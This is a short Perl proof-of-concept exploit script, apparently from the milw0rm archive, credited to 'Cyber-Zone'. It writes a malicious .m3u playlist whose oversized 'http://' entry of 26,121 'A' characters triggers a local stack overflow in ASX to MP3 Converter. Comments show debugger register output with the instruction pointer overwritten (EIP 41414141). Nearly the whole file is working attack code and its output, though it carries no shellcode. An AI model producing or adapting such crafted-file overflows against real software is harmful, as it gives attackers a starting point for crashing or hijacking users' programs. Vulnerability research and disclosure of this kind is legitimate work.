37 lines
No EOL
999 B
Perl
Executable file
37 lines
No EOL
999 B
Perl
Executable file
#!/usr/bin/perl
|
|
#
|
|
#
|
|
# ************************************************************************
|
|
# * ASX to MP3 Converter (.M3U File) Local Stack Overflow POC *
|
|
# ************************************************************************
|
|
#
|
|
# Found By : Cyber-Zone (ABDELKHALEK)
|
|
# E-mail : Paradis_des_fous@hotmail.fr
|
|
# Home : WwW.IQ-TY.CoM ; WwW.No-Exploit.CoM
|
|
# Greetz : Hussin X , Jiko (my brother), ZoRLu , Nabilx , Mag!c ompo , Stack ... all mgharba HaCkers and Sec-r1z.com
|
|
#
|
|
# Download product : http://www.rm-to-mp3.net/downloads/ASXtoMP3Converter.exe
|
|
#
|
|
#
|
|
# Olly registers
|
|
#EAX 00000001
|
|
#ECX 41414141
|
|
#EDX 00D30000
|
|
#EBX 00333ED8 ASCII "C:\Documents and Settings\Administrateur\Bureau\KHAL.m3u"
|
|
#ESP 000F6C90
|
|
#EBP 000FBFB4
|
|
#ESI 77C2FCE0 msvcrt.77C2FCE0
|
|
#EDI 00006619
|
|
#EIP 41414141
|
|
#
|
|
my $Header = "#EXTM3U\n";
|
|
|
|
my $ex="http://"."A" x 26121;# just Poc tested under MS windows SP2 Fr
|
|
|
|
open(MYFILE,'>>KHAL.m3u');
|
|
|
|
print MYFILE $Header.$ex;
|
|
|
|
close(MYFILE);
|
|
|
|
# milw0rm.com [2009-04-13] |